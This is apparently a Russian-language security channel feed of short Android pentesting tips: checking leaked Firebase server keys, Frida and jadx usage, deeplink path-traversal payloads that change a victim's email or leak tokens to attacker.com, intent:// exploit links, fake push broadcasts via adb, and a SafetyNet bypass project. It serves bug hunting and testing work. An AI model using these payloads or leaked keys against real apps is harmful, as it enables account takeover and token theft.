Есть желание в рамках PHD провести небольшой “SslPinning talks”. Кому интересно развиртуализироваться, поговорить о том, о сем - подходите к банкомату.

В Google давно уже казалось бы решили проблему с ключами Firebase и теперь строчки вида AIzaSy...., которые вы можете найти в приложениях - практически бесполезны. Другое дело серверные ключи вида AAAAenlyB0l:APA9..., которые являются действительно полезной находкой. С их помощью можно например отправить push уведомления всем пользователям сервиса. Обычно, необходимости в таких ключах на клиенте нет, и вообще Google запрещает размещать такие ключи в клиентском коде. Но иногда они все же попадают в приложения по разными причинам. Проверить такой ключ на валидность можно так:
1. Перехватить запрос на получение FCM токена
2. Сделать запрос на проверку этого токена используя полученный ранее серверный ключ

http https://iid.googleapis.com/iid/info/epsV... "Authorization: key=AAAAenlyB0l:APA9..."

Если все ок, то в ответе прилетит информация о приложении.
Регулярка для поиска таких ключей: AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
#aht

В качестве эксперимента написал пару статей в журнал Positive Research и хочу поделиться этими статьями здесь. Там много текста, нет картинок и после нескольких итераций редактуры они не очень похожи на то, что я обычно пишу. Но в целом, получилось не стыдно и может быть аудитория этого канала тоже найдет в них что-то интересное для себя.

Безопасность мобильных приложений и устройств - подведение итогов прошлого года, небольшой разбор уязвимостей которые встречались, причин их возникновения и тренды на следующий год

Эволюция уязвимостей в приложениях для Android - в каком-то смысле логическое продолжение предыдущей статьи, в которой мне хотелось раскрыть подробнее некоторые тезисы и покопаться в том как эволюционируют уязвимости в Android. Разобрал вымирающие и актуальные виды уязвимостей, а также сделал небольшой прогноз на будущее. Но будущее скорее всего очень сильно посмеется над моими прогнозами 🙃

Сам журнал можно забрать здесь, а еще они были в печатном виде на прошедшем PHD.

Если хочется инструментировать приложения сразу несколькими Frida-скриптами, но при этом не хочется сливать их в один файл, то можно воспользоваться таким трюком: сначала запустить скрипт требующий ранней инструментации, например c отключением пиннинга, а потом, подключить другой скрипт к уже запущенному приложению. Сделать это можно так:

frida -Uf com.my.app -l unpinning.js # Отлючаем пиннинг (ранняя инструментация)

frida -UF -l fsmonitor.js # Запуск скрипта для текущего активного приложения

#aht

jadx не идеален, и иногда он ошибается выдывая свой знаменитый JADX WARN: Code restructure failed в комментариях к декомпилированному коду. В результате получается совершенно неконсистентный кусок кода и разобрать, что происходит в алгоритме становится достаточно сложно. Но в ряде случаев результат можно улучшить. Это делается с помощью изменения режима декомпиляции: -m, --decompilation-mode. Первое, что стоит попробовать - режим simple. Код станет немногим хуже, но это скорее всего позволит избежать ошибок декомпиляции и читать алгоритм станет легче. Если не помогло, то стоит попробовать режим fallback . Получившийся код будет уже очень близок к smali и разбираться в нем станет тяжелее, но это может быть единственным приемлемым способом понять, что происходит в алгоритме.
#aht

В мобильных приложениях тоже встречаются CSRF. И не только в WebView. Небезопасная обработка диплинков вместе с path traversal вполне может привести к выполнению "полезных" действий от имени пользователя. А в некоторых случаях, и привести у захвату пользовательского аккаунта.

Немного утрированный пример: есть диплинк вида myapp://payment/new/{card_num}, после перехода по которому, приложение выполняет запрос POST https://server.com/api/payments_by_card/{card_num}. Указав вместо номера карты полезную нагрузку вида ../users/email?new=attacker@evil.com можно изменить email пользователя.

Более реальный пример: переход по диплинку myapp://orders/{id} приводит к вызову метода GET https://server.com/api/orders/{id}. Если на этом же сервере у нас есть open redirect, то можно составить такую полезную нагрузку: ../auth?redirect_uri=attacker.com и в логах сервера злоумышленника окажется токен, который цепляется к запросу в заголовке Authorization.
#aht

На прошедшем Positive Hack Days меня угораздило дать интервью автору канала Security by Xyurity, где я как обычно рассказываю что надо много работать, читать хорошие книжки и слушать маму. Короче ради меня вообще не стоит это смотреть 🙈. Но кроме меня, там есть много интересных людей, советы которых могут оказаться более полезными для начинающих специалистов чем мои. В общем, получилось местами забавно и посмотрев весь видос не считаю, что зря потратил время.

Если для эксплуатации уязвимости нужно передать Parcelable класс в intent-е, то есть пара способов это сделать. Представим, что activity ожидает модель User, которая лежит в пакете com.myapp.xxx. Можно создать в эксплойте такую же структуру пакетов, и класс с таким же названием и необходимыми полями. Чтобы не писать реализацию сериализации руками, то можно воспользоваться плагином и добавить к созданному классу аннотацию @Parcelize. Но иногда классы бывают сложными или их требуется несколько сразу. В этом случае проще взять из целевого приложения .dex файлы с этими классами, положить их в assets и работать с ними через DexClassLoader. Пример здесь.
#aht

Эксплуатировать IPC уязвимости можно не только из стороннего приложения, но и из веба. Для этого нужно создать на странице специальную ссылку, нажатие на которую приведет к отправке intent-а целевому приложению. По этому механизму существует средней паршивости документация, но проще использовать чит-код позволяющий перегнать любой intent из вашего эксплойта в web-представление - метод toUri:

val intentUri = Intent().apply {  
    data = Uri.parse("myapp://test")  
    setPackage("com.victim.app")  
    setClassName("com.victim.app", "com.victim.app.VulnerableActivity")  
    putExtra("zahek", "payload")  
}.toUri(Intent.URI_INTENT_SCHEME)

В результате, в intentUri окажется ссылка вида intent://test#Intent;scheme=myapp;package=com.victim.app;component=com.victim.app/.VulnerableActivity;S.zahek=payload;end, которую уже можно использовать на странице:

<!DOCTYPE html>
<html>
    <body>
    <a href="intent://test...">Click here!</a>
    </body>
</html>

#aht

Очередной атракцион невиданной щедрости (ага...) от VK: увеличение выплат за server-side баги в два раза. Но не за все подряд, а только за программу "Почта, Облако и Календарь". Похоже ребята, решили, что новый релиз вышел слишком хорошим и в нем нет багов, а может в эту программу просто никто не репортит и надо подогреть интерес 🙃 В любом случае я не рекоменую вам ломиться на ту серверную часть, которая обслуживает веб-интерфейс. Там багов нет. Я проверил 😎 А вот зайти со стороны мобильного приложения, использовав его как трамплин - очень даже рабочий подход. Кто первый раз, рассказываю: распаковываем апу jadx-ом, ищем там по ключевым словам @(GET|POST), попутно загоняем апу под проксю и начинаем нажимать все кнопки сразу. На сервер начинают уходить какие-то запросы. Про скрытые параметры узнаем из найденного в мобилке API или используем x8. Дальше пихаем кавычки во все поля, фаззим ручки, грузим файлики странного содержания. В итоге крит, репорт и 7.2 ляма вечно красных рублей у вас на картоне. Авторская методика © Сто раз так делал. Всем удачного хантинга и помните - 30 июля, ровно в 00:00 карета превратится в тыкву выплаты станут прежними.

Сегодня расскажу про одну мелочь, которую хорошо знают разработчики, но порой упускают из внимания хакеры (нет, не я 😋). Начиная с Android 11 (API 30), система больше не позволяет получать список всех установленных пакетов, да и вообще работать с каким-то конкретными пакетами напрямую. Чтобы это пофиксить в своем тулинге или эксплойтах достаточно выставить разрешение QUERY_ALL_PACKAGES и все магическим образом заработает снова. Правда с таким пермишеном вас скорее всего не пустят в Google Plaу, но вам это и не надо. Вы же не разработчик какой-нибудь ;) Но если туда по каким-то причинам все же хочется, то вместо этого пермишена, нужно в блоке <queries> объявить те пакеты, с которыми нужно работать. Это уже больше подходит для целевых атак на конкретные приложения чем предыдущий способ. Чуть больше информации об этом механизме можно получить здесь.
#aht

Понедельник - день постов. Можно выложить все сразу и потом спокойно работать всю неделю =) Наконец-то дописал write-up по конкурсу на взлом мобильного банка в рамках PHDays 12. Получилось объемно, но надеюсь, что вам понравится 👨🏻‍💻

Приложение может вести себя по-разному в зависимости от приходящих push-сообщений. Это может быть какая-то особая реакция на скрытый параметр, который в обычной ситуации никогда не присылается, а оставлен только для разработчиков. Или оно может переключаться в другой режим работы при получении какой-то особой полезной нагрузки. Чтобы быстро и без заморочек протестировать все эти варианты можно использовать локальную отправку пушей приложению через adb команду adb shell su -c "am broadcast -a com.google.android.c2dm.intent.RECEIVE -n chat.rocket.whitelabel/com.google.firebase.iid.FirebaseInstanceIdReceiver --es "param1" "payload1" --ez "param2" true. Она позволит быстро проверить все гипотезы и освободить время на поиск уязвимости на отправку произвольных пушей целевому приложению 😉
#aht

Вокруг много всякой IoT-ни c bluetooth, которая может быть поломана протестирована на безопасность одним пакетом =) Можно использовать штуки вроде BIAS, но это же надо пейпер читать. Есть способ проще - ставим приложение nRF Connect (no.nordicsemi.android.mcp) и начинаем экспериментировать с BT устройствами вокруг. Оно позволяет писать и читать GATT характеристики.

⚠️ Пара моментов:
1. Запись некорректных значений в характеристику может потенциально испортить устройство
2. Заигрывание с чужими устройствами может привести к уголовной ответственности, поэтому не ломайте чужие умные розетки. Только свои!
#aht

При исследование системного, а также всякого специфического софта под Android, бывает что классы которые использует приложение, физически в нем отсутствуют. В этом случае их стоит поискать внутри /system/framework/framework.jar и обычно этого достаточно. Если не повезло, то путь получится более длинным. Любыми доступными способами выполняем команду env и смотрим на jar-ники в переменных DEX2OATBOOTCLASSPATH, BOOTCLASSPATH, SYSTEMSERVERCLASSPATH. Класс должен найтись в одном из них.
#aht

@N2R2D2 уже какое-то время пилит штуку для обхода проверок SafetyNet и Play Integrity API. Проблема в общем-то в том, что DroidGuard, который обеспечивает прохождение этих проверок нельзя так просто взять и завести везде где хочется. Собственно проект и состоит в том, чтобы сделать серверную эмуляцию DroidGuard VM и реализовать инструмент способный патчить локальные хэндлеры для прохождения всех проверок. Пока это все в активной приватной разработке, но в какой-то момент, по заверениям автора, должен появится репозиторий со всеми кишками. Если кто-то хочет помочь в разработке или просто позадавать вопросы, то пишите автору в тг.

⚡️Внезапная, общеобразовательная активность на канале!

Завтра (27.07), в 19:00 (MSK) проведем стрим про уязвимости в Android приложениях.

Цель - покрыть вот эти топики:
- какие вообще бывают уязвимости
- что можно считать валидной уязвимостью, а что нет
- как повышать импакт от пустяковых с виду уязвимостей
- почему некоторые вендоры так неохотно принимают "мобильные" баги

Как обычно - половина пользы от таких мероприятий это толковые вопросы из зрительного зала. Поэтому приходите их задавать.